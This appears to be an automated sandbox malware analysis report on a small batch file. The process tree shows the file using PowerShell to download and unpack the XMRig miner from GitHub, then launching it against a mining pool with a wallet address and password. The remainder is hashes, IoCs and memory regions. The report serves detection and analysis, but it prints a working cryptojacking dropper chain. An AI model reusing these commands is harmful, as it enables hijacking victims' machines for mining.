Analysis

  • max time kernel
    1796s
  • max time network
    1799s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    23/12/2023, 23:02

General

  • Target

    tesy - Copy (8).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (8).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2716
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1588
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5100
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4736

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    42d4b1d78e6e092af15c7aef34e5cf45

    SHA1

    6cf9d0e674430680f67260194d3185667a2bb77b

    SHA256

    c4089b4313f7b8b74956faa2c4e15b9ffb1d9e5e29ac7e00a20c48b8f7aef5e0

    SHA512

    d31f065208766eea61facc91b23babb4c94906fb564dc06d114cbbc4068516f94032c764c188bed492509010c5dbe61f096d3e986e0ae3e70a170a9986458930

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    f3b087b820184c94bac0b7bbe9ba56a7

    SHA1

    da110a294154fbf429731dce6818bd839e0c413a

    SHA256

    00c60fb9ae0f34d3f3dc1277a425a88b442e6cefee7a565d5eb192185f21e2ec

    SHA512

    9d3b5fb872cac9d282fd1fc71f9c87428005f6eb5c2ba227a89812b76b295bb006373191ec2579fd233d54684693a81212217cfa6214d88ab78a06e11056bab2

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jqzmyqjv.kf3.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    18KB

    MD5

    1a78b626ab4655de43abec2eade4be0e

    SHA1

    3a8c423aae39b1a7564876b2d2e9b17535b567d8

    SHA256

    0fc78caa44a74ab879d79c2a8a5e2d690d0f207bd956c5f90b696ae43901861d

    SHA512

    fff8dfffa1e488e987db093920f4c8220799e7f1adcad6ec91334ab5af53f3e2da321249a065e7019b5f10b7e470cbee48b2f32b745753eb247b55cd9b36535a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    381KB

    MD5

    62d04943b7462ae50b6db7ad1aba5590

    SHA1

    b76dece99274552abcad066e4bb88636ea463208

    SHA256

    7bff5225f6045952bc5bb4623faa0691af0b1c785a70172275ef31cb53aaa58d

    SHA512

    03c4b0d496604efd4ef4cd95bb977c2151a2e1cebe85b828172c0834f7f9f9a52fd40db678b2c6a5cb46f313e1f84d884ea3e14426c348c9a37690db0e21ede3

  • memory/1588-7-0x00000208F3790000-0x00000208F37A0000-memory.dmp

    Filesize

    64KB

  • memory/1588-6-0x00007FFE32F90000-0x00007FFE3397C000-memory.dmp

    Filesize

    9.9MB

  • memory/1588-10-0x00000208F3AC0000-0x00000208F3B36000-memory.dmp

    Filesize

    472KB

  • memory/1588-9-0x00000208F3790000-0x00000208F37A0000-memory.dmp

    Filesize

    64KB

  • memory/1588-25-0x00000208F3790000-0x00000208F37A0000-memory.dmp

    Filesize

    64KB

  • memory/1588-26-0x00007FFE32F90000-0x00007FFE3397C000-memory.dmp

    Filesize

    9.9MB

  • memory/1588-31-0x00007FFE32F90000-0x00007FFE3397C000-memory.dmp

    Filesize

    9.9MB

  • memory/1588-4-0x00000208F3910000-0x00000208F3932000-memory.dmp

    Filesize

    136KB

  • memory/4736-142-0x00007FF64FBF0000-0x00007FF6506F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4736-148-0x00007FF64FBF0000-0x00007FF6506F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4736-185-0x00007FF64FBF0000-0x00007FF6506F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4736-184-0x00007FF64FBF0000-0x00007FF6506F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4736-183-0x00007FF64FBF0000-0x00007FF6506F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4736-182-0x00007FF64FBF0000-0x00007FF6506F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4736-181-0x00007FF64FBF0000-0x00007FF6506F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4736-118-0x0000027FECB50000-0x0000027FECB90000-memory.dmp

    Filesize

    256KB

  • memory/4736-119-0x00007FF64FBF0000-0x00007FF6506F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4736-121-0x0000027FEE440000-0x0000027FEE460000-memory.dmp

    Filesize

    128KB

  • memory/4736-120-0x0000027FEE460000-0x0000027FEE480000-memory.dmp

    Filesize

    128KB

  • memory/4736-122-0x00007FF64FBF0000-0x00007FF6506F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4736-123-0x00007FF64FBF0000-0x00007FF6506F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4736-124-0x00007FF64FBF0000-0x00007FF6506F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4736-125-0x0000027FEE460000-0x0000027FEE480000-memory.dmp

    Filesize

    128KB

  • memory/4736-126-0x0000027FEE440000-0x0000027FEE460000-memory.dmp

    Filesize

    128KB

  • memory/4736-127-0x00007FF64FBF0000-0x00007FF6506F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4736-128-0x00007FF64FBF0000-0x00007FF6506F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4736-129-0x00007FF64FBF0000-0x00007FF6506F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4736-130-0x00007FF64FBF0000-0x00007FF6506F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4736-131-0x00007FF64FBF0000-0x00007FF6506F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4736-132-0x00007FF64FBF0000-0x00007FF6506F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4736-133-0x00007FF64FBF0000-0x00007FF6506F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4736-134-0x00007FF64FBF0000-0x00007FF6506F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4736-135-0x00007FF64FBF0000-0x00007FF6506F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4736-136-0x00007FF64FBF0000-0x00007FF6506F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4736-137-0x00007FF64FBF0000-0x00007FF6506F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4736-138-0x00007FF64FBF0000-0x00007FF6506F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4736-139-0x00007FF64FBF0000-0x00007FF6506F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4736-140-0x00007FF64FBF0000-0x00007FF6506F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4736-141-0x00007FF64FBF0000-0x00007FF6506F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4736-117-0x0000027FEC980000-0x0000027FEC9A0000-memory.dmp

    Filesize

    128KB

  • memory/4736-143-0x00007FF64FBF0000-0x00007FF6506F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4736-144-0x00007FF64FBF0000-0x00007FF6506F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4736-145-0x00007FF64FBF0000-0x00007FF6506F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4736-146-0x00007FF64FBF0000-0x00007FF6506F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4736-147-0x00007FF64FBF0000-0x00007FF6506F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4736-180-0x00007FF64FBF0000-0x00007FF6506F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4736-149-0x00007FF64FBF0000-0x00007FF6506F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4736-150-0x00007FF64FBF0000-0x00007FF6506F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4736-151-0x00007FF64FBF0000-0x00007FF6506F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4736-152-0x00007FF64FBF0000-0x00007FF6506F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4736-153-0x00007FF64FBF0000-0x00007FF6506F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4736-154-0x00007FF64FBF0000-0x00007FF6506F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4736-155-0x00007FF64FBF0000-0x00007FF6506F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4736-156-0x00007FF64FBF0000-0x00007FF6506F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4736-157-0x00007FF64FBF0000-0x00007FF6506F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4736-158-0x00007FF64FBF0000-0x00007FF6506F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4736-159-0x00007FF64FBF0000-0x00007FF6506F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4736-160-0x00007FF64FBF0000-0x00007FF6506F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4736-161-0x00007FF64FBF0000-0x00007FF6506F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4736-162-0x00007FF64FBF0000-0x00007FF6506F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4736-163-0x00007FF64FBF0000-0x00007FF6506F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4736-164-0x00007FF64FBF0000-0x00007FF6506F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4736-165-0x00007FF64FBF0000-0x00007FF6506F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4736-166-0x00007FF64FBF0000-0x00007FF6506F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4736-167-0x00007FF64FBF0000-0x00007FF6506F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4736-168-0x00007FF64FBF0000-0x00007FF6506F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4736-169-0x00007FF64FBF0000-0x00007FF6506F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4736-170-0x00007FF64FBF0000-0x00007FF6506F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4736-171-0x00007FF64FBF0000-0x00007FF6506F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4736-172-0x00007FF64FBF0000-0x00007FF6506F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4736-173-0x00007FF64FBF0000-0x00007FF6506F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4736-174-0x00007FF64FBF0000-0x00007FF6506F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4736-175-0x00007FF64FBF0000-0x00007FF6506F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4736-176-0x00007FF64FBF0000-0x00007FF6506F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4736-177-0x00007FF64FBF0000-0x00007FF6506F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4736-178-0x00007FF64FBF0000-0x00007FF6506F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4736-179-0x00007FF64FBF0000-0x00007FF6506F3000-memory.dmp

    Filesize

    11.0MB

  • memory/5100-38-0x000001C8CE250000-0x000001C8CE260000-memory.dmp

    Filesize

    64KB

  • memory/5100-39-0x000001C8CE250000-0x000001C8CE260000-memory.dmp

    Filesize

    64KB

  • memory/5100-77-0x000001C8E8340000-0x000001C8E8352000-memory.dmp

    Filesize

    72KB

  • memory/5100-90-0x000001C8E82B0000-0x000001C8E82BA000-memory.dmp

    Filesize

    40KB

  • memory/5100-63-0x000001C8CE250000-0x000001C8CE260000-memory.dmp

    Filesize

    64KB

  • memory/5100-37-0x00007FFE32F90000-0x00007FFE3397C000-memory.dmp

    Filesize

    9.9MB

  • memory/5100-114-0x00007FFE32F90000-0x00007FFE3397C000-memory.dmp

    Filesize

    9.9MB